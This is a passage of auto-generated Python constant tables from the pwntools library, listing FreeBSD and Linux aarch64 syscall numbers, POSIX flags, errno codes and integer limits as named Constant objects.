SYS_cap_getrights = Constant('SYS_cap_getrights',515) SYS_cap_enter = Constant('SYS_cap_enter',516) SYS_cap_getmode = Constant('SYS_cap_getmode',517) SYS_pdfork = Constant('SYS_pdfork',518) SYS_pdkill = Constant('SYS_pdkill',519) SYS_pdgetpid = Constant('SYS_pdgetpid',520) SYS_pselect = Constant('SYS_pselect',522) SYS_getloginclass = Constant('SYS_getloginclass',523) SYS_setloginclass = Constant('SYS_setloginclass',524) SYS_rctl_get_racct = Constant('SYS_rctl_get_racct',525) SYS_rctl_get_rules = Constant('SYS_rctl_get_rules',526) SYS_rctl_get_limits = Constant('SYS_rctl_get_limits',527) SYS_rctl_add_rule = Constant('SYS_rctl_add_rule',528) SYS_rctl_remove_rule = Constant('SYS_rctl_remove_rule',529) SYS_posix_fallocate = Constant('SYS_posix_fallocate',530) SYS_posix_fadvise = Constant('SYS_posix_fadvise',531) SYS_wait6 = Constant('SYS_wait6',532) SYS_MAXSYSCALL = Constant('SYS_MAXSYSCALL',533) _POSIX_ADVISORY_INFO = Constant('_POSIX_ADVISORY_INFO',200112) _POSIX_ASYNCHRONOUS_IO = Constant('_POSIX_ASYNCHRONOUS_IO',0) _POSIX_CHOWN_RESTRICTED = Constant('_POSIX_CHOWN_RESTRICTED',1) _POSIX_CLOCK_SELECTION = Constant('_POSIX_CLOCK_SELECTION',(-1)) _POSIX_CPUTIME = Constant('_POSIX_CPUTIME',(-1)) _POSIX_FSYNC = Constant('_POSIX_FSYNC',200112) _POSIX_IPV6 = Constant('_POSIX_IPV6',0) _POSIX_JOB_CONTROL = Constant('_POSIX_JOB_CONTROL',1) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200112) _POSIX_MEMLOCK = Constant('_POSIX_MEMLOCK',(-1)) _POSIX_MEMLOCK_RANGE = Constant('_POSIX_MEMLOCK_RANGE',200112) _POSIX_MEMORY_PROTECTION = Constant('_POSIX_MEMORY_PROTECTION',200112) _POSIX_MESSAGE_PASSING = Constant('_POSIX_MESSAGE_PASSING',200112) _POSIX_MONOTONIC_CLOCK = Constant('_POSIX_MONOTONIC_CLOCK',200112) _POSIX_NO_TRUNC = Constant('_POSIX_NO_TRUNC',1) _POSIX_PRIORITIZED_IO = Constant('_POSIX_PRIORITIZED_IO',(-1)) _POSIX_PRIORITY_SCHEDULING = Constant('_POSIX_PRIORITY_SCHEDULING',200112) _POSIX_RAW_SOCKETS = Constant('_POSIX_RAW_SOCKETS',200112) _POSIX_REALTIME_SIGNALS = Constant('_POSIX_REALTIME_SIGNALS',200112) _POSIX_SEMAPHORES = Constant('_POSIX_SEMAPHORES',200112) _POSIX_SHARED_MEMORY_OBJECTS = Constant('_POSIX_SHARED_MEMORY_OBJECTS',200112) _POSIX_SPORADIC_SERVER = Constant('_POSIX_SPORADIC_SERVER',(-1)) _POSIX_SYNCHRONIZED_IO = Constant('_POSIX_SYNCHRONIZED_IO',(-1)) _POSIX_TIMEOUTS = Constant('_POSIX_TIMEOUTS',200112) _POSIX_TIMERS = Constant('_POSIX_TIMERS',200112) _POSIX_TYPED_MEMORY_OBJECTS = Constant('_POSIX_TYPED_MEMORY_OBJECTS',(-1)) _POSIX_VDISABLE = Constant('_POSIX_VDISABLE',0xff) _XOPEN_SHM = Constant('_XOPEN_SHM',1) _XOPEN_STREAMS = Constant('_XOPEN_STREAMS',(-1)) _POSIX_VERSION = Constant('_POSIX_VERSION',200112) F_OK = Constant('F_OK',0) X_OK = Constant('X_OK',0x01) W_OK = Constant('W_OK',0x02) R_OK = Constant('R_OK',0x04) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) SEEK_DATA = Constant('SEEK_DATA',3) SEEK_HOLE = Constant('SEEK_HOLE',4) L_SET = Constant('L_SET',0) L_INCR = Constant('L_INCR',1) L_XTND = Constant('L_XTND',2) _PC_LINK_MAX = Constant('_PC_LINK_MAX',1) _PC_MAX_CANON = Constant('_PC_MAX_CANON',2) _PC_MAX_INPUT = Constant('_PC_MAX_INPUT',3) _PC_NAME_MAX = Constant('_PC_NAME_MAX',4) _PC_PATH_MAX = Constant('_PC_PATH_MAX',5) _PC_PIPE_BUF = Constant('_PC_PIPE_BUF',6) _PC_CHOWN_RESTRICTED = Constant('_PC_CHOWN_RESTRICTED',7) _PC_NO_TRUNC = Constant('_PC_NO_TRUNC',8) _PC_VDISABLE = Constant('_PC_VDISABLE',9) _PC_ASYNC_IO = Constant('_PC_ASYNC_IO',53) _PC_PRIO_IO = Constant('_PC_PRIO_IO',54) _PC_SYNC_IO = Constant('_PC_SYNC_IO',55) _PC_ALLOC_SIZE_MIN = Constant('_PC_ALLOC_SIZE_MIN',10) _PC_FILESIZEBITS = Constant('_PC_FILESIZEBITS',12) _PC_REC_INCR_XFER_SIZE = Constant('_PC_REC_INCR_XFER_SIZE',14) _PC_REC_MAX_XFER_SIZE = Constant('_PC_REC_MAX_XFER_SIZE',15) _PC_REC_MIN_XFER_SIZE = Constant('_PC_REC_MIN_XFER_SIZE',16) _PC_REC_XFER_ALIGN = Constant('_PC_REC_XFER_ALIGN',17) _PC_SYMLINK_MAX = Constant('_PC_SYMLINK_MAX',18) _PC_ACL_EXTENDED = Constant('_PC_ACL_EXTENDED',59) _PC_ACL_PATH_MAX = Constant('_PC_ACL_PATH_MAX',60) _PC_CAP_PRESENT = Constant('_PC_CAP_PRESENT',61) _PC_INF_PRESENT = Constant('_PC_INF_PRESENT',62) _PC_MAC_PRESENT = Constant('_PC_MAC_PRESENT',63) _PC_ACL_NFS4 = Constant('_PC_ACL_NFS4',64) _PC_MIN_HOLE_SIZE = Constant('_PC_MIN_HOLE_SIZE',21) RFNAMEG = Constant('RFNAMEG',(1<<0)) RFENVG = Constant('RFENVG',(1<<1)) RFFDG = Constant('RFFDG',(1<<2)) RFNOTEG = Constant('RFNOTEG',(1<<3)) RFPROC = Constant('RFPROC',(1<<4)) RFMEM = Constant('RFMEM',(1<<5)) RFNOWAIT = Constant('RFNOWAIT',(1<<6)) RFCNAMEG = Constant('RFCNAMEG',(1<<10)) RFCENVG = Constant('RFCENVG',(1<<11)) RFCFDG = Constant('RFCFDG',(1<<12)) RFTHREAD = Constant('RFTHREAD',(1<<13)) RFSIGSHARE = Constant('RFSIGSHARE',(1<<14)) RFLINUXTHPN = Constant('RFLINUXTHPN',(1<<16)) RFSTOPPED = Constant('RFSTOPPED',(1<<17)) RFHIGHPID = Constant('RFHIGHPID',(1<<18)) RFTSIGZMB = Constant('RFTSIGZMB',(1<<19)) RFTSIGSHIFT = Constant('RFTSIGSHIFT',20) RFTSIGMASK = Constant('RFTSIGMASK',0xFF) RFPROCDESC = Constant('RFPROCDESC',(1<<28)) RFPPWAIT = Constant('RFPPWAIT',(1<<31)) RFFLAGS = Constant('RFFLAGS',((1<<2) | (1<<4) | (1<<5) | (1<<6) | (1<<12) | (1<<13) | (1<<14) | (1<<16) | (1<<17) | (1<<18) | (1<<19) | (1<<28) | (1<<31))) RFKERNELONLY = Constant('RFKERNELONLY',((1<<17) | (1<<18) | (1<<31) | (1<<28))) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/000077500000000000000000000000001507273764500226505ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/__init__.py000066400000000000000000000000001507273764500247470ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/aarch64.py000066400000000000000000001677141507273764500244720ustar00rootroot00000000000000from pwnlib.constants.constant import Constant _AARCH64_SYSCALL_H = Constant('_AARCH64_SYSCALL_H',1) __NR_io_setup = Constant('__NR_io_setup',0) __NR_io_destroy = Constant('__NR_io_destroy',1) __NR_io_submit = Constant('__NR_io_submit',2) __NR_io_cancel = Constant('__NR_io_cancel',3) __NR_io_getevents = Constant('__NR_io_getevents',4) __NR_setxattr = Constant('__NR_setxattr',5) __NR_lsetxattr = Constant('__NR_lsetxattr',6) __NR_fsetxattr = Constant('__NR_fsetxattr',7) __NR_getxattr = Constant('__NR_getxattr',8) __NR_lgetxattr = Constant('__NR_lgetxattr',9) __NR_fgetxattr = Constant('__NR_fgetxattr',10) __NR_listxattr = Constant('__NR_listxattr',11) __NR_llistxattr = Constant('__NR_llistxattr',12) __NR_flistxattr = Constant('__NR_flistxattr',13) __NR_removexattr = Constant('__NR_removexattr',14) __NR_lremovexattr = Constant('__NR_lremovexattr',15) __NR_fremovexattr = Constant('__NR_fremovexattr',16) __NR_getcwd = Constant('__NR_getcwd',17) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',18) __NR_eventfd2 = Constant('__NR_eventfd2',19) __NR_epoll_create1 = Constant('__NR_epoll_create1',20) __NR_epoll_ctl = Constant('__NR_epoll_ctl',21) __NR_epoll_pwait = Constant('__NR_epoll_pwait',22) __NR_dup = Constant('__NR_dup',23) __NR_dup3 = Constant('__NR_dup3',24) __NR_fcntl = Constant('__NR_fcntl',25) __NR_inotify_init1 = Constant('__NR_inotify_init1',26) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',27) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',28) __NR_ioctl = Constant('__NR_ioctl',29) __NR_ioprio_set = Constant('__NR_ioprio_set',30) __NR_ioprio_get = Constant('__NR_ioprio_get',31) __NR_flock = Constant('__NR_flock',32) __NR_mknodat = Constant('__NR_mknodat',33) __NR_mkdirat = Constant('__NR_mkdirat',34) __NR_unlinkat = Constant('__NR_unlinkat',35) __NR_symlinkat = Constant('__NR_symlinkat',36) __NR_linkat = Constant('__NR_linkat',37) __NR_renameat = Constant('__NR_renameat',38) __NR_umount2 = Constant('__NR_umount2',39) __NR_mount = Constant('__NR_mount',40) __NR_pivot_root = Constant('__NR_pivot_root',41) __NR_nfsservctl = Constant('__NR_nfsservctl',42) __NR_statfs = Constant('__NR_statfs',43) __NR_fstatfs = Constant('__NR_fstatfs',44) __NR_truncate = Constant('__NR_truncate',45) __NR_ftruncate = Constant('__NR_ftruncate',46) __NR_fallocate = Constant('__NR_fallocate',47) __NR_faccessat = Constant('__NR_faccessat',48) __NR_chdir = Constant('__NR_chdir',49) __NR_fchdir = Constant('__NR_fchdir',50) __NR_chroot = Constant('__NR_chroot',51) __NR_fchmod = Constant('__NR_fchmod',52) __NR_fchmodat = Constant('__NR_fchmodat',53) __NR_fchownat = Constant('__NR_fchownat',54) __NR_fchown = Constant('__NR_fchown',55) __NR_openat = Constant('__NR_openat',56) __NR_close = Constant('__NR_close',57) __NR_vhangup = Constant('__NR_vhangup',58) __NR_pipe2 = Constant('__NR_pipe2',59) __NR_quotactl = Constant('__NR_quotactl',60) __NR_getdents64 = Constant('__NR_getdents64',61) __NR_lseek = Constant('__NR_lseek',62) __NR_read = Constant('__NR_read',63) __NR_write = Constant('__NR_write',64) __NR_readv = Constant('__NR_readv',65) __NR_writev = Constant('__NR_writev',66) __NR_pread64 = Constant('__NR_pread64',67) __NR_pwrite64 = Constant('__NR_pwrite64',68) __NR_preadv = Constant('__NR_preadv',69) __NR_pwritev = Constant('__NR_pwritev',70) __NR_sendfile = Constant('__NR_sendfile',71) __NR_pselect6 = Constant('__NR_pselect6',72) __NR_ppoll = Constant('__NR_ppoll',73) __NR_signalfd4 = Constant('__NR_signalfd4',74) __NR_vmsplice = Constant('__NR_vmsplice',75) __NR_splice = Constant('__NR_splice',76) __NR_tee = Constant('__NR_tee',77) __NR_readlinkat = Constant('__NR_readlinkat',78) __NR_fstatat = Constant('__NR_fstatat',79) __NR_newfstatat = Constant('__NR_newfstatat',79) __NR_fstat = Constant('__NR_fstat',80) __NR_sync = Constant('__NR_sync',81) __NR_fsync = Constant('__NR_fsync',82) __NR_fdatasync = Constant('__NR_fdatasync',83) __NR_sync_file_range = Constant('__NR_sync_file_range',84) __NR_timerfd_create = Constant('__NR_timerfd_create',85) __NR_timerfd_settime = Constant('__NR_timerfd_settime',86) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',87) __NR_utimensat = Constant('__NR_utimensat',88) __NR_acct = Constant('__NR_acct',89) __NR_capget = Constant('__NR_capget',90) __NR_capset = Constant('__NR_capset',91) __NR_personality = Constant('__NR_personality',92) __NR_exit = Constant('__NR_exit',93) __NR_exit_group = Constant('__NR_exit_group',94) __NR_waitid = Constant('__NR_waitid',95) __NR_set_tid_address = Constant('__NR_set_tid_address',96) __NR_unshare = Constant('__NR_unshare',97) __NR_futex = Constant('__NR_futex',98) __NR_set_robust_list = Constant('__NR_set_robust_list',99) __NR_get_robust_list = Constant('__NR_get_robust_list',100) __NR_nanosleep = Constant('__NR_nanosleep',101) __NR_getitimer = Constant('__NR_getitimer',102) __NR_setitimer = Constant('__NR_setitimer',103) __NR_kexec_load = Constant('__NR_kexec_load',104) __NR_init_module = Constant('__NR_init_module',105) __NR_delete_module = Constant('__NR_delete_module',106) __NR_timer_create = Constant('__NR_timer_create',107) __NR_timer_gettime = Constant('__NR_timer_gettime',108) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',109) __NR_timer_settime = Constant('__NR_timer_settime',110) __NR_timer_delete = Constant('__NR_timer_delete',111) __NR_clock_settime = Constant('__NR_clock_settime',112) __NR_clock_gettime = Constant('__NR_clock_gettime',113) __NR_clock_getres = Constant('__NR_clock_getres',114) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',115) __NR_syslog = Constant('__NR_syslog',116) __NR_ptrace = Constant('__NR_ptrace',117) __NR_sched_setparam = Constant('__NR_sched_setparam',118) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',119) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',120) __NR_sched_getparam = Constant('__NR_sched_getparam',121) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',122) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',123) __NR_sched_yield = Constant('__NR_sched_yield',124) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',125) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',126) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',127) __NR_restart_syscall = Constant('__NR_restart_syscall',128) __NR_kill = Constant('__NR_kill',129) __NR_tkill = Constant('__NR_tkill',130) __NR_tgkill = Constant('__NR_tgkill',131) __NR_sigaltstack = Constant('__NR_sigaltstack',132) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',133) __NR_rt_sigaction = Constant('__NR_rt_sigaction',134) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',135) __NR_rt_sigpending = Constant('__NR_rt_sigpending',136) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',137) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',138) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',139) __NR_setpriority = Constant('__NR_setpriority',140) __NR_getpriority = Constant('__NR_getpriority',141) __NR_reboot = Constant('__NR_reboot',142) __NR_setregid = Constant('__NR_setregid',143) __NR_setgid = Constant('__NR_setgid',144) __NR_setreuid = Constant('__NR_setreuid',145) __NR_setuid = Constant('__NR_setuid',146) __NR_setresuid = Constant('__NR_setresuid',147) __NR_getresuid = Constant('__NR_getresuid',148) __NR_setresgid = Constant('__NR_setresgid',149) __NR_getresgid = Constant('__NR_getresgid',150) __NR_setfsuid = Constant('__NR_setfsuid',151) __NR_setfsgid = Constant('__NR_setfsgid',152) __NR_times = Constant('__NR_times',153) __NR_setpgid = Constant('__NR_setpgid',154) __NR_getpgid = Constant('__NR_getpgid',155) __NR_getsid = Constant('__NR_getsid',156) __NR_setsid = Constant('__NR_setsid',157) __NR_getgroups = Constant('__NR_getgroups',158) __NR_setgroups = Constant('__NR_setgroups',159) __NR_uname = Constant('__NR_uname',160) __NR_sethostname = Constant('__NR_sethostname',161) __NR_setdomainname = Constant('__NR_setdomainname',162) __NR_getrlimit = Constant('__NR_getrlimit',163) __NR_setrlimit = Constant('__NR_setrlimit',164) __NR_getrusage = Constant('__NR_getrusage',165) __NR_umask = Constant('__NR_umask',166) __NR_prctl = Constant('__NR_prctl',167) __NR_getcpu = Constant('__NR_getcpu',168) __NR_gettimeofday = Constant('__NR_gettimeofday',169) __NR_settimeofday = Constant('__NR_settimeofday',170) __NR_adjtimex = Constant('__NR_adjtimex',171) __NR_getpid = Constant('__NR_getpid',172) __NR_getppid = Constant('__NR_getppid',173) __NR_getuid = Constant('__NR_getuid',174) __NR_geteuid = Constant('__NR_geteuid',175) __NR_getgid = Constant('__NR_getgid',176) __NR_getegid = Constant('__NR_getegid',177) __NR_gettid = Constant('__NR_gettid',178) __NR_sysinfo = Constant('__NR_sysinfo',179) __NR_mq_open = Constant('__NR_mq_open',180) __NR_mq_unlink = Constant('__NR_mq_unlink',181) __NR_mq_timedsend = Constant('__NR_mq_timedsend',182) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',183) __NR_mq_notify = Constant('__NR_mq_notify',184) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',185) __NR_msgget = Constant('__NR_msgget',186) __NR_msgctl = Constant('__NR_msgctl',187) __NR_msgrcv = Constant('__NR_msgrcv',188) __NR_msgsnd = Constant('__NR_msgsnd',189) __NR_semget = Constant('__NR_semget',190) __NR_semctl = Constant('__NR_semctl',191) __NR_semtimedop = Constant('__NR_semtimedop',192) __NR_semop = Constant('__NR_semop',193) __NR_shmget = Constant('__NR_shmget',194) __NR_shmctl = Constant('__NR_shmctl',195) __NR_shmat = Constant('__NR_shmat',196) __NR_shmdt = Constant('__NR_shmdt',197) __NR_socket = Constant('__NR_socket',198) __NR_socketpair = Constant('__NR_socketpair',199) __NR_bind = Constant('__NR_bind',200) __NR_listen = Constant('__NR_listen',201) __NR_accept = Constant('__NR_accept',202) __NR_connect = Constant('__NR_connect',203) __NR_getsockname = Constant('__NR_getsockname',204) __NR_getpeername = Constant('__NR_getpeername',205) __NR_sendto = Constant('__NR_sendto',206) __NR_recvfrom = Constant('__NR_recvfrom',207) __NR_setsockopt = Constant('__NR_setsockopt',208) __NR_getsockopt = Constant('__NR_getsockopt',209) __NR_shutdown = Constant('__NR_shutdown',210) __NR_sendmsg = Constant('__NR_sendmsg',211) __NR_recvmsg = Constant('__NR_recvmsg',212) __NR_readahead = Constant('__NR_readahead',213) __NR_brk = Constant('__NR_brk',214) __NR_munmap = Constant('__NR_munmap',215) __NR_mremap = Constant('__NR_mremap',216) __NR_add_key = Constant('__NR_add_key',217) __NR_request_key = Constant('__NR_request_key',218) __NR_keyctl = Constant('__NR_keyctl',219) __NR_clone = Constant('__NR_clone',220) __NR_execve = Constant('__NR_execve',221) __NR_mmap = Constant('__NR_mmap',222) __NR_fadvise64 = Constant('__NR_fadvise64',223) __NR_swapon = Constant('__NR_swapon',224) __NR_swapoff = Constant('__NR_swapoff',225) __NR_mprotect = Constant('__NR_mprotect',226) __NR_msync = Constant('__NR_msync',227) __NR_mlock = Constant('__NR_mlock',228) __NR_munlock = Constant('__NR_munlock',229) __NR_mlockall = Constant('__NR_mlockall',230) __NR_munlockall = Constant('__NR_munlockall',231) __NR_mincore = Constant('__NR_mincore',232) __NR_madvise = Constant('__NR_madvise',233) __NR_remap_file_pages = Constant('__NR_remap_file_pages',234) __NR_mbind = Constant('__NR_mbind',235) __NR_get_mempolicy = Constant('__NR_get_mempolicy',236) __NR_set_mempolicy = Constant('__NR_set_mempolicy',237) __NR_migrate_pages = Constant('__NR_migrate_pages',238) __NR_move_pages = Constant('__NR_move_pages',239) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',240) __NR_perf_event_open = Constant('__NR_perf_event_open',241) __NR_accept4 = Constant('__NR_accept4',242) __NR_recvmmsg = Constant('__NR_recvmmsg',243) __NR_arch_specific_syscall = Constant('__NR_arch_specific_syscall',244) __NR_wait4 = Constant('__NR_wait4',260) __NR_prlimit64 = Constant('__NR_prlimit64',261) __NR_fanotify_init = Constant('__NR_fanotify_init',262) __NR_fanotify_mark = Constant('__NR_fanotify_mark',263) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',264) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',265) __NR_clock_adjtime = Constant('__NR_clock_adjtime',266) __NR_syncfs = Constant('__NR_syncfs',267) __NR_setns = Constant('__NR_setns',268) __NR_sendmmsg = Constant('__NR_sendmmsg',269) __NR_process_vm_readv = Constant('__NR_process_vm_readv',270) __NR_process_vm_writev = Constant('__NR_process_vm_writev',271) __NR_kcmp = Constant('__NR_kcmp',272) __NR_finit_module = Constant('__NR_finit_module',273) __NR_sched_setattr = Constant('__NR_sched_setattr',274) __NR_sched_getattr = Constant('__NR_sched_getattr',275) __NR_renameat2 = Constant('__NR_renameat2',276) __NR_seccomp = Constant('__NR_seccomp',277) __NR_getrandom = Constant('__NR_getrandom',278) __NR_memfd_create = Constant('__NR_memfd_create',279) __NR_bpf = Constant('__NR_bpf',280) __NR_execveat = Constant('__NR_execveat',281) __NR_userfaultfd = Constant('__NR_userfaultfd',282) __NR_membarrier = Constant('__NR_membarrier',283) __NR_mlock2 = Constant('__NR_mlock2',284) __NR_copy_file_range = Constant('__NR_copy_file_range',285) __NR_preadv2 = Constant('__NR_preadv2',286) __NR_pwritev2 = Constant('__NR_pwritev2',287) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',288) __NR_pkey_alloc = Constant('__NR_pkey_alloc',289) __NR_pkey_free = Constant('__NR_pkey_free',290) __NR_statx = Constant('__NR_statx',291) __NR_io_pgetevents = Constant('__NR_io_pgetevents',292) __NR_rseq = Constant('__NR_rseq',293) __NR_kexec_file_load = Constant('__NR_kexec_file_load',294) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',64) __WORDSIZE_COMPAT32 = Constant('__WORDSIZE_COMPAT32',1) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = 